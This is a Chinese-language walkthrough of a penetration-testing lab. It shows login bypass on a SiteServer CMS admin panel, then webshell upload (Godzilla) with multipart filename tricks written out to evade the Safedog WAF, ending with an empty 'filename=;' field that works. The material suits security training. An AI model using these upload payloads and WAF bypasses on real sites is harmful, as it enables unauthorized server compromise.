环境

虚拟机的环境搭建就不写了,附带的文档有介绍

如果要直接渗透需要修改本机的host文件

1
2
linux系统 /etc/hosts
windows系统 C:/Windows/System32/drivers/etc/hosts

添加WEB服务器的IP和域名到本机host文件中

1
192.168.0.114 www.moonlab.com

如果服务器的IP需要除了本机以外的内网机子访问,则需要修改网络配置将192.168.0.114的地址修改为内网地址

主机与其他攻击主机相通的内网网段为172.20.4.x/24

则web靶机需要设置成相应网段IP,且该地址不能冲突

内网其他攻击主机的host文件

1
web服务器的内网IP地址 www.moonlab.com

Web服务器渗透

渗透过程的信息收集阶段省略

获取web后台权限

http://www.moonlab.com/siteserver/login.aspx

在此处抓包

删除Answer字段信息,得到账户密码admin/admin5566

里面有两个系统,第一个是SiteServer CMS

第二个是SiteServer BBS

文件上传获取权限(无waf情况下)

修改配置信息,将禁止的.aspx后缀删除

上传.aspx脚本(此处使用的是哥斯拉,用冰蝎的马时上传解析会报错)

访问成功无报错

文件上传获取权限(有waf情况下)

和无waf的文件上传类似,相关操作就不贴图了

使用.aspx后缀时被waf限制

先试了一下filename="脏字符.aspx",试了约有2万个脏字符还是会被检测到

然后就试了一下条件竞争,将文件名设置为变量,将同一个报文多次重放

虽然没有成功,但是发现有一个302跳转可以在返回包的server字段发现waf是安全狗4.0版本

试了一下filename的文件名换行,无法绕过

1
2
filename="1
.aspx"
1
2
file
name="1.aspx"
1
2
3
4
5
6
filename="1
.
a
s
p
x"

双文件名,无法绕过

1
filename="1.png";filename="2.aspx"
1
filename="1.png";filename=2.aspx

构造双文件报文,无法绕过

1
2
3
4
5
6
7
8
9
10
11
12
------WebKitFormBoundaryGgHfENIKOlPpdLT3
Content-Disposition: form-data; name="hifUpload"; filename="1.png"
Content-Type: application/xml

内容
------WebKitFormBoundaryGgHfENIKOlPpdLT3
------WebKitFormBoundaryGgHfENIKOlPpdLT3
Content-Disposition: form-data; name="hifUpload"; filename="t.aspx"
Content-Type: application/xml

内容
------WebKitFormBoundaryGgHfENIKOlPpdLT3

又试了修改Content-DispositionContent+Disposition,还是无法绕过

最终添加一个filename=;字段即绕过了安全狗

经过测试发现返回来的地址多了一个t_的前缀,将其删除后即可访问